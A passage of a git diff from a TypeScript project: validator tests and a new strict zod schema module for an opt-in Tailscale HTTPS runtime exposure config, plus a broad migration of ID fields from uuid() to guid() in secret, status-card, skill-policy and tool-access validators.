+  });
+
+  it("rejects arbitrary hostname / publicPort / provider / failure policy", () => {
+    expect(() =>
+      runtimeExposureConfigSchema.parse({ ...DEFAULT_TAILSCALE_HTTPS_EXPOSURE, hostname: "evil.example" }),
+    ).toThrow();
+    expect(() =>
+      runtimeExposureConfigSchema.parse({ ...DEFAULT_TAILSCALE_HTTPS_EXPOSURE, publicPort: 443 }),
+    ).toThrow();
+    expect(() =>
+      runtimeExposureConfigSchema.parse({ ...DEFAULT_TAILSCALE_HTTPS_EXPOSURE, type: "funnel" }),
+    ).toThrow();
+    expect(() =>
+      runtimeExposureConfigSchema.parse({ ...DEFAULT_TAILSCALE_HTTPS_EXPOSURE, failurePolicy: "fail_open" }),
+    ).toThrow();
+  });
+
+  it("parseRuntimeExposureConfig returns null when absent and throws when malformed", () => {
+    expect(parseRuntimeExposureConfig(undefined)).toBeNull();
+    expect(parseRuntimeExposureConfig(null)).toBeNull();
+    expect(parseRuntimeExposureConfig(DEFAULT_TAILSCALE_HTTPS_EXPOSURE)).toEqual(
+      DEFAULT_TAILSCALE_HTTPS_EXPOSURE,
+    );
+    expect(() => parseRuntimeExposureConfig({ type: "tailscale_https" })).toThrow();
+  });
+});
+
+describe("readRuntimeExposureIntent", () => {
+  it("treats a legacy expose block with no exposure fields as unset", () => {
+    // The pre-feature Paperclip App template shape: an `expose` block that only
+    // describes the backend URL. This must be defaultable, not opted out.
+    expect(readRuntimeExposureIntent({ urlTemplate: "http://paperclip-dev:{{port}}" })).toBe("unset");
+    expect(readRuntimeExposureIntent(undefined)).toBe("unset");
+    expect(readRuntimeExposureIntent(null)).toBe("unset");
+    expect(readRuntimeExposureIntent({})).toBe("unset");
+    expect(readRuntimeExposureIntent([])).toBe("unset");
+    expect(readRuntimeExposureIntent("tailscale_https")).toBe("unset");
+  });
+
+  it("reads explicit opt-in", () => {
+    expect(readRuntimeExposureIntent({ type: "tailscale_https" })).toBe("enabled");
+    expect(readRuntimeExposureIntent(DEFAULT_TAILSCALE_HTTPS_EXPOSURE)).toBe("enabled");
+    expect(readRuntimeExposureIntent({ tailscaleHttps: true })).toBe("enabled");
+  });
+
+  it("reads deliberate opt-out", () => {
+    expect(readRuntimeExposureIntent({ tailscaleHttps: false })).toBe("disabled");
+    expect(readRuntimeExposureIntent({ type: "none" })).toBe("disabled");
+  });
+
+  it("lets an explicit negative win over a stale positive in the same block", () => {
+    expect(readRuntimeExposureIntent({ type: "tailscale_https", tailscaleHttps: false })).toBe("disabled");
+  });
+});
+
+describe("resolveDeclaredRuntimeExposureConfig", () => {
+  it("returns null unless the block explicitly opts in", () => {
+    expect(resolveDeclaredRuntimeExposureConfig(undefined)).toBeNull();
+    expect(resolveDeclaredRuntimeExposureConfig({ urlTemplate: "http://paperclip-dev:{{port}}" })).toBeNull();
+    expect(resolveDeclaredRuntimeExposureConfig({ tailscaleHttps: false })).toBeNull();
+  });
+
+  it("completes a bare declaration from the fail-closed defaults", () => {
+    expect(resolveDeclaredRuntimeExposureConfig({ type: "tailscale_https" })).toEqual(
+      DEFAULT_TAILSCALE_HTTPS_EXPOSURE,
+    );
+    // Shorthand normalizes to the provider literal.
+    expect(resolveDeclaredRuntimeExposureConfig({ tailscaleHttps: true })).toEqual(
+      DEFAULT_TAILSCALE_HTTPS_EXPOSURE,
+    );
+  });
+
+  it("keeps the backend urlTemplate alongside an opt-in without leaking it into the config", () => {
+    expect(
+      resolveDeclaredRuntimeExposureConfig({
+        type: "tailscale_https",
+        urlTemplate: "http://127.0.0.1:{{port}}",
+      }),
+    ).toEqual(DEFAULT_TAILSCALE_HTTPS_EXPOSURE);
+  });
+
+  it("honors an explicit sub-field override", () => {
+    expect(
+      resolveDeclaredRuntimeExposureConfig({ type: "tailscale_https", includePaperclipViteHmr: false }),
+    ).toEqual({ ...DEFAULT_TAILSCALE_HTTPS_EXPOSURE, includePaperclipViteHmr: false });
+  });
+
+  it("still rejects smuggled fields and invalid sub-field values", () => {
+    expect(() =>
+      resolveDeclaredRuntimeExposureConfig({ type: "tailscale_https", target: "http://127.0.0.1:5432" }),
+    ).toThrow(/Unsupported expose field/);
+    expect(() =>
+      resolveDeclaredRuntimeExposureConfig({ type: "tailscale_https", hostname: "evil.example" }),
+    ).toThrow();
+    expect(() =>
+      resolveDeclaredRuntimeExposureConfig({ type: "tailscale_https", failurePolicy: "fail_open" }),
+    ).toThrow();
+  });
+});
+
+describe("runtimeExposureListenerSchema", () => {
+  it("enforces the same-number invariant", () => {
+    expect(() =>
+      runtimeExposureListenerSchema.parse({ purpose: "app", publicPort: 42010, targetPort: 42010 }),
+    ).not.toThrow();
+    expect(() =>
+      runtimeExposureListenerSchema.parse({ purpose: "app", publicPort: 42010, targetPort: 5432 }),
+    ).toThrow();
+  });
+});
+
+describe("runtimeExposureStatusSchema", () => {
+  it("accepts a well-formed ready status", () => {
+    expect(() =>
+      runtimeExposureStatusSchema.parse({
+        provider: "tailscale_https",
+        state: "ready",
+        publicUrl: "https://paperclip-dev.tail29c1aa.ts.net:42010",
+        hostname: "paperclip-dev.tail29c1aa.ts.net",
+        listeners: [
+          { purpose: "app", publicPort: 42010, targetPort: 42010 },
+          { purpose: "vite_hmr", publicPort: 52010, targetPort: 52010 },
+        ],
+        brokerRef: "rs-1",
+        lastError: null,
+        updatedAt: "2026-08-11T00:00:00.000Z",
+      }),
+    ).not.toThrow();
+  });
+
+  it("rejects unknown fields in serialized status", () => {
+    expect(() =>
+      runtimeExposureStatusSchema.parse({
+        provider: "tailscale_https",
+        state: "ready",
+        publicUrl: null,
+        hostname: null,
+        listeners: [],
+        brokerRef: null,
+        lastError: null,
+        updatedAt: null,
+        leaseHandle: "secret",
+      }),
+    ).toThrow();
+  });
+});
diff --git a/packages/shared/src/validators/runtime-exposure.ts b/packages/shared/src/validators/runtime-exposure.ts
new file mode 100644
index 00000000000..362cfc47215
--- /dev/null
+++ b/packages/shared/src/validators/runtime-exposure.ts
@@ -0,0 +1,163 @@
+import { z } from "zod";
+
+/**
+ * Validators for the opt-in `tailscale_https` runtime exposure contract.
+ * Strict-by-default: unknown fields are rejected so a malformed or injected
+ * config cannot smuggle an arbitrary target, path, or hostname suffix through
+ * the runtime configuration into the broker (PAP-17050 verdict).
+ */
+
+export const runtimeExposureProviderSchema = z.literal("tailscale_https");
+
+export const runtimeExposureFailurePolicySchema = z.literal("fail_closed");
+
+export const runtimeExposureConfigSchema = z
+  .object({
+    type: runtimeExposureProviderSchema,
+    hostname: z.literal("auto"),
+    publicPort: z.literal("same"),
+    includePaperclipViteHmr: z.boolean(),
+    failurePolicy: runtimeExposureFailurePolicySchema,
+  })
+  .strict();
+
+export const runtimeExposureStateSchema = z.enum([
+  "pending",
+  "ready",
+  "failed",
+  "cleanup_pending",
+  "removed",
+]);
+
+export const runtimeExposureListenerPurposeSchema = z.enum(["app", "vite_hmr"]);
+
+export const runtimeExposureListenerSchema = z
+  .object({
+    purpose: runtimeExposureListenerPurposeSchema,
+    publicPort: z.number().int().positive(),
+    targetPort: z.number().int().positive(),
+  })
+  .strict()
+  // Same-number invariant: the public HTTPS port must equal the loopback
+  // target port. The broker enforces this too, but rejecting here keeps
+  // persisted/serialized state honest.
+  .refine((listener) => listener.publicPort === listener.targetPort, {
+    message: "publicPort must equal targetPort (same-number exposure)",
+    path: ["publicPort"],
+  });
+
+export const runtimeExposureStatusSchema = z
+  .object({
+    provider: runtimeExposureProviderSchema,
+    state: runtimeExposureStateSchema,
+    publicUrl: z.string().url().nullable(),
+    hostname: z.string().min(1).nullable(),
+    listeners: z.array(runtimeExposureListenerSchema),
+    brokerRef: z.string().min(1).nullable(),
+    lastError: z.string().nullable(),
+    updatedAt: z.string().nullable(),
+  })
+  .strict();
+
+export type RuntimeExposureConfigInput = z.infer<typeof runtimeExposureConfigSchema>;
+export type RuntimeExposureStatusInput = z.infer<typeof runtimeExposureStatusSchema>;
+
+/**
+ * Default exposure config used when a project/workspace enables HTTPS exposure
+ * without overriding sub-fields. Fail-closed and HMR-inclusive by default so
+ * dev-mode hot reload works over the exposed HTTPS origin.
+ */
+export const DEFAULT_TAILSCALE_HTTPS_EXPOSURE: RuntimeExposureConfigInput = {
+  type: "tailscale_https",
+  hostname: "auto",
+  publicPort: "same",
+  includePaperclipViteHmr: true,
+  failurePolicy: "fail_closed",
+};
+
+/**
+ * Parse an untrusted `expose` block off a workspace runtime service config.
+ * Returns null when exposure is absent; throws (via zod) on a malformed block
+ * so misconfiguration fails closed rather than silently exposing nothing.
+ */
+export function parseRuntimeExposureConfig(
+  value: unknown,
+): RuntimeExposureConfigInput | null {
+  if (value === undefined || value === null) return null;
+  return runtimeExposureConfigSchema.parse(value);
+}
+
+/**
+ * What an `expose` block says about HTTPS exposure, independent of whether the
+ * runtime is eligible for it.
+ *
+ * `unset` is the common case: legacy templates only declare
+ * `{ type: "url", urlTemplate }` for the backend readiness URL and say nothing
+ * about exposure. Those runtimes are defaulted to `tailscale_https` by the
+ * server start path when they are eligible (PAP-17158), so no project template
+ * or UI caller has to supply an exposure block.
+ */
+export type RuntimeExposureIntent = "enabled" | "disabled" | "unset";
+
+/**
+ * Keys of the exposure contract itself. Anything a declared `tailscale_https`
+ * block sets outside this list (and {@link RUNTIME_EXPOSURE_TRANSPORT_KEYS}) is
+ * rejected, so a malformed or injected config still cannot smuggle an arbitrary
+ * target, path, or hostname suffix through to the broker (PAP-17050 verdict).
+ */
+const RUNTIME_EXPOSURE_CONFIG_KEYS = [
+  "type",
+  "hostname",
+  "publicPort",
+  "includePaperclipViteHmr",
+  "failurePolicy",
+] as const;
+
+/**
+ * Pre-existing `expose` keys that describe the *backend* URL rather than the
+ * exposure, and may legitimately sit next to a `tailscale_https` declaration.
+ */
+const RUNTIME_EXPOSURE_TRANSPORT_KEYS = ["urlTemplate", "tailscaleHttps"] as const;
+
+/**
+ * Read the declared intent off an `expose` block.
+ *
+ * An explicit negative always wins over an explicit positive so a deliberate
+ * opt-out can never be re-enabled by a stale `type` left in the same block.
+ */
+export function readRuntimeExposureIntent(value: unknown): RuntimeExposureIntent {
+  if (!value || typeof value !== "object" || Array.isArray(value)) return "unset";
+  const expose = value as Record<string, unknown>;
+  // Deliberate opt-outs, checked first.
+  if (expose.tailscaleHttps === false) return "disabled";
+  if (expose.type === "none") return "disabled";
+  if (expose.type === "tailscale_https" || expose.tailscaleHttps === true) return "enabled";
+  return "unset";
+}
+
+/**
+ * Resolve the exposure config a service *declared* (as opposed to the one it
+ * inherits by default). Returns null unless the block explicitly opts in.
+ *
+ * Recognized sub-fields fall back to {@link DEFAULT_TAILSCALE_HTTPS_EXPOSURE},
+ * so `{ type: "tailscale_https" }` is a complete declaration; unknown keys still
+ * throw rather than being silently dropped.
+ */
+export function resolveDeclaredRuntimeExposureConfig(
+  value: unknown,
+): RuntimeExposureConfigInput | null {
+  if (readRuntimeExposureIntent(value) !== "enabled") return null;
+  const expose = value as Record<string, unknown>;
+  const known = new Set<string>([...RUNTIME_EXPOSURE_CONFIG_KEYS, ...RUNTIME_EXPOSURE_TRANSPORT_KEYS]);
+  const unknownKeys = Object.keys(expose).filter((key) => !known.has(key));
+  if (unknownKeys.length > 0) {
+    throw new Error(`Unsupported expose field(s): ${unknownKeys.sort().join(", ")}`);
+  }
+  const merged: Record<string, unknown> = { ...DEFAULT_TAILSCALE_HTTPS_EXPOSURE };
+  for (const key of RUNTIME_EXPOSURE_CONFIG_KEYS) {
+    if (expose[key] !== undefined) merged[key] = expose[key];
+  }
+  // `tailscaleHttps: true` is shorthand for the provider; normalize it away.
+  merged.type = "tailscale_https";
+  return runtimeExposureConfigSchema.parse(merged);
+}
diff --git a/packages/shared/src/validators/secret.ts b/packages/shared/src/validators/secret.ts
index b0d55d82871..746be54ac08 100644
--- a/packages/shared/src/validators/secret.ts
+++ b/packages/shared/src/validators/secret.ts
@@ -19,7 +19,7 @@ export const envBindingPlainSchema = z.object({
 
 export const envBindingSecretRefSchema = z.object({
   type: z.literal("secret_ref"),
-  secretId: z.string().uuid(),
+  secretId: z.string().guid(),
   version: secretVersionSelectorSchema.optional(),
   projectionClass: z.enum(SECRET_PROJECTION_CLASSES).optional(),
   projectionAllowlistKey: z.string().trim().min(1).max(160).optional().nullable(),
@@ -47,7 +47,7 @@ export const createSecretSchema = z.object({
   name: z.string().min(1),
   key: secretKeySchema.optional(),
   provider: z.enum(SECRET_PROVIDERS).optional(),
-  providerConfigId: z.string().uuid().optional().nullable(),
+  providerConfigId: z.string().guid().optional().nullable(),
   managedMode: z.enum(SECRET_MANAGED_MODES).optional(),
   value: z.string().min(1).optional().nullable(),
   description: z.string().optional().nullable(),
@@ -110,7 +110,7 @@ export const rotateSecretSchema = z.object({
   value: z.string().min(1).optional().nullable(),
   externalRef: z.string().optional().nullable(),
   providerVersionRef: z.string().optional().nullable(),
-  providerConfigId: z.string().uuid().optional().nullable(),
+  providerConfigId: z.string().guid().optional().nullable(),
 }).superRefine(requireSecretRotationInput);
 
 export type RotateSecret = z.infer<typeof rotateSecretSchema>;
@@ -119,7 +119,7 @@ export const updateSecretSchema = z.object({
   name: z.string().min(1).optional(),
   key: secretKeySchema.optional(),
   status: z.enum(SECRET_STATUSES).optional(),
-  providerConfigId: z.string().uuid().optional().nullable(),
+  providerConfigId: z.string().guid().optional().nullable(),
   description: z.string().optional().nullable(),
   externalRef: z.string().optional().nullable(),
   providerMetadata: z.record(z.string(), z.unknown()).optional().nullable(),
@@ -134,7 +134,7 @@ export const secretBindingTargetSchema = z.object({
 });
 
 export const createSecretBindingSchema = secretBindingTargetSchema.extend({
-  secretId: z.string().uuid(),
+  secretId: z.string().guid(),
   versionSelector: secretVersionSelectorSchema.default("latest"),
   required: z.boolean().default(true),
   label: z.string().optional().nullable(),
@@ -150,7 +150,7 @@ export const createUserSecretDefinitionSchema = z.object({
   description: z.string().trim().max(500).optional().nullable(),
   status: creatableSecretStatusSchema.optional(),
   provider: z.enum(SECRET_PROVIDERS).optional(),
-  providerConfigId: z.string().uuid().optional().nullable(),
+  providerConfigId: z.string().guid().optional().nullable(),
   managedMode: z.enum(SECRET_MANAGED_MODES).optional(),
   providerMetadata: z.record(z.string(), z.unknown()).optional().nullable(),
   usageGuidance: z.string().trim().max(1000).optional().nullable(),
@@ -162,7 +162,7 @@ export const updateUserSecretDefinitionSchema = z.object({
   name: z.string().trim().min(1).max(160).optional(),
   description: z.string().trim().max(500).optional().nullable(),
   status: z.enum(SECRET_STATUSES).optional(),
-  providerConfigId: z.string().uuid().optional().nullable(),
+  providerConfigId: z.string().guid().optional().nullable(),
   providerMetadata: z.record(z.string(), z.unknown()).optional().nullable(),
   usageGuidance: z.string().trim().max(1000).optional().nullable(),
 });
@@ -171,11 +171,11 @@ export type UpdateUserSecretDefinition = z.infer<typeof updateUserSecretDefiniti
 
 export const createUserSecretValueSchema = z.object({
   definitionKey: secretKeySchema.optional(),
-  definitionId: z.string().uuid().optional(),
+  definitionId: z.string().guid().optional(),
   value: z.string().min(1).optional().nullable(),
   externalRef: z.string().optional().nullable(),
   providerVersionRef: z.string().optional().nullable(),
-  providerConfigId: z.string().uuid().optional().nullable(),
+  providerConfigId: z.string().guid().optional().nullable(),
 }).superRefine((value, ctx) => {
   if (!value.definitionKey && !value.definitionId) {
     ctx.addIssue({
@@ -200,7 +200,7 @@ export const updateUserSecretValueSchema = z.object({
   value: z.string().min(1).optional().nullable(),
   externalRef: z.string().min(1).optional().nullable(),
   providerVersionRef: z.string().min(1).optional().nullable(),
-  providerConfigId: z.string().uuid().optional().nullable(),
+  providerConfigId: z.string().guid().optional().nullable(),
 });
 
 export type UpdateUserSecretValue = z.infer<typeof updateUserSecretValueSchema>;
@@ -209,7 +209,7 @@ export const rotateUserSecretValueSchema = z.object({
   value: z.string().min(1).optional().nullable(),
   externalRef: z.string().min(1).optional().nullable(),
   providerVersionRef: z.string().min(1).optional().nullable(),
-  providerConfigId: z.string().uuid().optional().nullable(),
+  providerConfigId: z.string().guid().optional().nullable(),
 }).superRefine(requireSecretRotationInput);
 
 export type RotateUserSecretValue = z.infer<typeof rotateUserSecretValueSchema>;
@@ -376,7 +376,7 @@ export const updateSecretProviderConfigSchema = z.object({
 export type UpdateSecretProviderConfig = z.infer<typeof updateSecretProviderConfigSchema>;
 
 export const remoteSecretImportPreviewSchema = z.object({
-  providerConfigId: z.string().uuid(),
+  providerConfigId: z.string().guid(),
   query: z.string().trim().max(200).optional().nullable(),
   nextToken: z.string().trim().min(1).max(4096).optional().nullable(),
   pageSize: z.number().int().min(1).max(100).optional(),
@@ -386,7 +386,7 @@ export type RemoteSecretImportPreview = z.infer<typeof remoteSecretImportPreview
 
 export const secretProviderConfigDiscoveryPreviewSchema = z.object({
   provider: z.enum(SECRET_PROVIDERS),
-  config: z.record(z.unknown()).default({}),
+  config: z.record(z.string(), z.unknown()).default({}),
   query: z.string().trim().max(200).optional().nullable(),
   nextToken: z.string().trim().min(1).max(4096).optional().nullable(),
   pageSize: z.number().int().min(1).max(100).optional(),
@@ -418,7 +418,7 @@ export const remoteSecretImportSelectionSchema = z.object({
 });
 
 export const remoteSecretImportSchema = z.object({
-  providerConfigId: z.string().uuid(),
+  providerConfigId: z.string().guid(),
   secrets: z.array(remoteSecretImportSelectionSchema).min(1).max(100),
 });
 
diff --git a/packages/shared/src/validators/sidebar-preferences.ts b/packages/shared/src/validators/sidebar-preferences.ts
index a8d109d53c9..7d950abbd95 100644
--- a/packages/shared/src/validators/sidebar-preferences.ts
+++ b/packages/shared/src/validators/sidebar-preferences.ts
@@ -1,6 +1,6 @@
 import { z } from "zod";
 
-const sidebarOrderedIdSchema = z.string().uuid();
+const sidebarOrderedIdSchema = z.string().guid();
 
 export const sidebarOrderPreferenceSchema = z.object({
   orderedIds: z.array(sidebarOrderedIdSchema),
diff --git a/packages/shared/src/validators/skill-policy.ts b/packages/shared/src/validators/skill-policy.ts
index 04c4fe6b69d..7a6233776c1 100644
--- a/packages/shared/src/validators/skill-policy.ts
+++ b/packages/shared/src/validators/skill-policy.ts
@@ -77,14 +77,14 @@ export const skillPolicySubjectSchema = z.discriminatedUnion("type", [
   z.object({ type: z.literal("all_agents") }).strict(),
   z.object({
     type: z.literal("agents"),
-    agentIds: z.array(z.string().uuid()).min(1).max(500)
+    agentIds: z.array(z.string().guid()).min(1).max(500)
       .refine((values) => new Set(values).size === values.length, "Agent IDs must be unique"),
   }).strict(),
   z.object({ type: z.literal("roles"), roles: nonEmptyUniqueStrings }).strict(),
 ]);
 
 export const skillPolicyResourceSelectorSchema = z.object({
-  skillIds: z.array(z.string().uuid()).min(1).max(500).optional(),
+  skillIds: z.array(z.string().guid()).min(1).max(500).optional(),
   skillKeys: nonEmptyUniqueStrings.optional(),
   sourceTypes: z.array(skillPolicySourceTypeSchema).min(1)
     .refine((values) => new Set(values).size === values.length, "Source types must be unique")
@@ -116,7 +116,7 @@ export const replaceSkillPolicySchema = skillPolicyDocumentSchema.extend({
 }).strict();
 
 export const skillPolicyEvaluationResourceSchema = z.object({
-  skillId: z.string().uuid().optional(),
+  skillId: z.string().guid().optional(),
   skillKey: z.string().trim().min(1).max(512).optional(),
   sourceType: skillPolicySourceTypeSchema.optional(),
   sourceLocator: skillPolicySourceLocatorSchema.optional(),
@@ -125,7 +125,7 @@ export const skillPolicyEvaluationResourceSchema = z.object({
 export const evaluateSkillPolicySchema = z.object({
   action: skillPolicyActionSchema,
   resource: skillPolicyEvaluationResourceSchema.default({}),
-  principal: z.object({ agentId: z.string().uuid() }).strict().optional(),
+  principal: z.object({ agentId: z.string().guid() }).strict().optional(),
 }).strict();
 
 export type SkillPolicyAction = z.infer<typeof skillPolicyActionSchema>;
diff --git a/packages/shared/src/validators/status-card.ts b/packages/shared/src/validators/status-card.ts
index 327d78cbf79..f6b6f1d3f66 100644
--- a/packages/shared/src/validators/status-card.ts
+++ b/packages/shared/src/validators/status-card.ts
@@ -32,7 +32,7 @@ export const statusCardRefreshPolicySchema = z
     intervalMinutes: z.number().int().positive().optional(),
     debounceSeconds: z.number().int().positive().optional(),
     maxUpdatesPerHour: z.number().int().positive().optional(),
-    triggers: statusCardRefreshTriggersSchema.default({}),
+    triggers: statusCardRefreshTriggersSchema.prefault({}),
     activeHours: z
       .object({
         start: z.string().regex(/^([01]\d|2[0-3]):[0-5]\d$/),
@@ -61,41 +61,41 @@ export const statusCardFingerprintSchema = z.record(
     latestHumanCommentAt: z.string().datetime().nullable().optional(),
     identifier: z.string().nullable().optional(),
     title: z.string().optional(),
-    assigneeAgentId: z.string().uuid().nullable().optional(),
+    assigneeAgentId: z.string().guid().nullable().optional(),
     assigneeUserId: z.string().nullable().optional(),
   }),
 );
 
 export const statusCardSchema = z.object({
-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
   createdByUserId: z.string().nullable(),
-  createdByAgentId: z.string().uuid().nullable(),
+  createdByAgentId: z.string().guid().nullable(),
   title: z.string().nullable(),
   titlePinned: z.boolean(),
   interestPrompt: z.string(),
   queries: z.array(companySearchQuerySchema),
   queryVersion: z.number().int().nonnegative(),
   queryCompiledAt: z.string().datetime().nullable(),
-  queryCompiledByAgentId: z.string().uuid().nullable(),
-  agentId: z.string().uuid().nullable(),
+  queryCompiledByAgentId: z.string().guid().nullable(),
+  agentId: z.string().guid().nullable(),
   refreshPolicy: statusCardRefreshPolicySchema,
   state: statusCardStateSchema,
   pendingChangeCount: z.number().int().nonnegative(),
   lastChangeAt: z.string().datetime().nullable(),
   fingerprint: statusCardFingerprintSchema.nullable(),
   fingerprintAt: z.string().datetime().nullable(),
-  mentionedIssueIds: z.array(z.string().uuid()).default([]),
-  documentId: z.string().uuid().nullable(),
+  mentionedIssueIds: z.array(z.string().guid()).default([]),
+  documentId: z.string().guid().nullable(),
   lastUpdateRunKind: z.enum(["full", "incremental"]).nullable(),
   lastGeneratedAt: z.string().datetime().nullable(),
   lastModel: z.string().nullable(),
-  generatingIssueId: z.string().uuid().nullable(),
+  generatingIssueId: z.string().guid().nullable(),
   failureReason: z.string().nullable(),
   nextEvalAt: z.string().datetime().nullable(),
   archivedAt: z.string().datetime().nullable(),
   archivedByUserId: z.string().nullable(),
-  archivedByAgentId: z.string().uuid().nullable(),
+  archivedByAgentId: z.string().guid().nullable(),
   createdAt: z.string().datetime(),
   updatedAt: z.string().datetime(),
   summaryBody: z.string().nullable().optional(),
@@ -105,7 +105,7 @@ export const statusCardSchema = z.object({
 });
 
 export const statusCardUpdateChangeSchema = z.object({
-  issueId: z.string().uuid(),
+  issueId: z.string().guid(),
   identifier: z.string(),
   from: z.string().nullable(),
   to: z.string().nullable(),
@@ -113,12 +113,12 @@ export const statusCardUpdateChangeSchema = z.object({
 });
 
 export const statusCardUpdateSchema = z.object({
-  id: z.string().uuid(),
-  cardId: z.string().uuid(),
+  id: z.string().guid(),
+  cardId: z.string().guid(),
   kind: statusCardUpdateKindSchema,
   trigger: statusCardUpdateTriggerSchema,
-  generationIssueId: z.string().uuid().nullable(),
-  runId: z.string().uuid().nullable(),
+  generationIssueId: z.string().guid().nullable(),
+  runId: z.string().guid().nullable(),
   changes: z.array(statusCardUpdateChangeSchema),
   inputTokens: z.number().int().nonnegative(),
   outputTokens: z.number().int().nonnegative(),
@@ -133,7 +133,7 @@ export const statusCardUpdateSchema = z.object({
 });
 
 export const statusCardSummaryRevisionSchema = z.object({
-  id: z.string().uuid(),
+  id: z.string().guid(),
   revisionNumber: z.number().int().positive(),
   title: z.string().nullable(),
   body: z.string(),
@@ -152,7 +152,7 @@ export const createStatusCardSchema = z.object({
   interestPrompt: z.string().trim().min(1).max(20_000),
   title: z.string().trim().min(1).max(300).optional(),
   titlePinned: z.boolean().default(false),
-  agentId: z.string().uuid().nullable().optional(),
+  agentId: z.string().guid().nullable().optional(),
   refreshPolicy: statusCardRefreshPolicySchema.default(defaultStatusCardRefreshPolicy),
 });
 
@@ -161,7 +161,7 @@ export const patchStatusCardSchema = z
     interestPrompt: z.string().trim().min(1).max(20_000).optional(),
     title: z.string().trim().min(1).max(300).nullable().optional(),
     titlePinned: z.boolean().optional(),
-    agentId: z.string().uuid().nullable().optional(),
+    agentId: z.string().guid().nullable().optional(),
     refreshPolicy: statusCardRefreshPolicySchema.optional(),
     archived: z.boolean().optional(),
   })
@@ -175,14 +175,14 @@ export const writeStatusCardQuerySchema = z.object({
   queries: z.array(companySearchQuerySchema).min(1).max(10),
   title: z.string().trim().min(1).max(300),
   changeSummary: z.string().trim().min(1).max(2_000),
-  generationIssueId: z.string().uuid(),
+  generationIssueId: z.string().guid(),
 });
 
 export const writeStatusCardSummarySchema = z.object({
   markdown: z.string().trim().min(1).max(200_000),
   title: z.string().trim().min(1).max(300).optional(),
   changeSummary: z.string().trim().min(1).max(2_000),
-  generationIssueId: z.string().uuid(),
+  generationIssueId: z.string().guid(),
   model: z.string().trim().min(1).max(200).optional().nullable(),
 });
 
diff --git a/packages/shared/src/validators/summary-slot.ts b/packages/shared/src/validators/summary-slot.ts
index c2c950068fe..44005a160d0 100644
--- a/packages/shared/src/validators/summary-slot.ts
+++ b/packages/shared/src/validators/summary-slot.ts
@@ -5,7 +5,7 @@ import {
   SUMMARY_SLOT_STATUSES,
 } from "../constants.js";
 
-const optionalScopeIdSchema = z.string().uuid().optional().nullable();
+const optionalScopeIdSchema = z.string().guid().optional().nullable();
 
 export const summarySlotScopeKindSchema = z.enum(SUMMARY_SLOT_SCOPE_KINDS);
 export const summarySlotKeySchema = z.enum(SUMMARY_SLOT_KEYS);
@@ -53,8 +53,8 @@ export const writeSummarySlotSchema = z
     markdown: z.string().trim().min(1).max(200_000),
     title: z.string().trim().min(1).max(200).optional().nullable(),
     changeSummary: z.string().trim().min(1).max(1_000).optional().nullable(),
-    baseRevisionId: z.string().uuid().optional().nullable(),
-    generationIssueId: z.string().uuid().optional().nullable(),
+    baseRevisionId: z.string().guid().optional().nullable(),
+    generationIssueId: z.string().guid().optional().nullable(),
     model: z.string().trim().min(1).max(200).optional().nullable(),
   })
   .strict();
diff --git a/packages/shared/src/validators/tool-access.ts b/packages/shared/src/validators/tool-access.ts
index 01071fff7c9..0dd7e0ca325 100644
--- a/packages/shared/src/validators/tool-access.ts
+++ b/packages/shared/src/validators/tool-access.ts
@@ -31,6 +31,7 @@ import {
   TOOL_RUNTIME_SLOT_STATUSES,
 } from "../constants.js";
 import { jsonSchemaSchema } from "./plugin.js";
+import { objectWithoutDefaults } from "./partial.js";
 
 export const toolApplicationTypeSchema = z.enum(TOOL_APPLICATION_TYPES);
 export const toolApplicationStatusSchema = z.enum(TOOL_APPLICATION_STATUSES);
@@ -91,7 +92,7 @@ function rejectSensitiveConfigKeys(value: unknown, ctx: z.RefinementCtx, path: A
 }
 
 export const toolCredentialSecretRefSchema = z.object({
-  secretId: z.string().uuid(),
+  secretId: z.string().guid(),
   versionSelector: z.union([z.literal("latest"), z.number().int().positive()]).optional(),
   configPath: z.string().trim().min(1).max(200),
   required: z.boolean().optional(),
@@ -104,7 +105,7 @@ export const toolCredentialSecretRefSchema = z.object({
 
 export const mcpConnectionCredentialRefSchema = z.object({
   name: z.string().trim().min(1).max(120),
-  secretId: z.string().uuid(),
+  secretId: z.string().guid(),
   version: z.union([z.literal("latest"), z.number().int().positive()]).optional(),
   placement: toolCredentialPlacementSchema,
   key: z.string().trim().min(1).max(160),
@@ -118,7 +119,7 @@ export const toolRedactedValueSummarySchema = z.object({
   sizeBytes: z.number().int().min(0).optional().nullable(),
   sha256: z.string().trim().regex(/^[a-f0-9]{64}$/i).optional().nullable(),
   redactedFields: z.array(z.string().trim().min(1).max(200)).default([]).optional(),
-  artifactId: z.string().uuid().optional().nullable(),
+  artifactId: z.string().guid().optional().nullable(),
 });
 
 export const createToolApplicationSchema = z.object({
@@ -127,8 +128,8 @@ export const createToolApplicationSchema = z.object({
   description: z.string().max(4000).optional().nullable(),
   type: toolApplicationTypeSchema,
   status: toolApplicationStatusSchema.optional(),
-  pluginId: z.string().uuid().optional().nullable(),
-  ownerAgentId: z.string().uuid().optional().nullable(),
+  pluginId: z.string().guid().optional().nullable(),
+  ownerAgentId: z.string().guid().optional().nullable(),
   ownerUserId: z.string().optional().nullable(),
   metadata: z.record(z.string(), z.unknown()).optional().nullable(),
 });
@@ -143,7 +144,7 @@ export const updateToolApplicationSchema = createToolApplicationSchema.partial()
 export type UpdateToolApplication = z.infer<typeof updateToolApplicationSchema>;
 
 export const createToolConnectionSchema = z.object({
-  applicationId: z.string().uuid().optional(),
+  applicationId: z.string().guid().optional(),
   applicationName: z.string().trim().min(1).max(160).optional(),
   name: z.string().trim().min(1).max(160),
   transport: toolConnectionTransportSchema.optional(),
@@ -160,7 +161,7 @@ export const createToolConnectionSchema = z.object({
 
 export type CreateToolConnection = z.infer<typeof createToolConnectionSchema>;
 
-export const updateToolConnectionSchema = createToolConnectionSchema.omit({ applicationId: true }).partial().refine(
+export const updateToolConnectionSchema = objectWithoutDefaults(createToolConnectionSchema.omit({ applicationId: true })).partial().refine(
   (value) => Object.keys(value).length > 0,
   { message: "At least one tool connection field is required" },
 );
@@ -168,9 +169,9 @@ export const updateToolConnectionSchema = createToolConnectionSchema.omit({ appl
 export type UpdateToolConnection = z.infer<typeof updateToolConnectionSchema>;
 
 export const connectionGrantSchema = z.object({
-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
-  connectionId: z.string().uuid(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
+  connectionId: z.string().guid(),
   kind: connectionGrantKindSchema,
   subjectUserId: z.string().nullable(),
   providerTenant: z.object({
@@ -180,10 +181,10 @@ export const connectionGrantSchema = z.object({
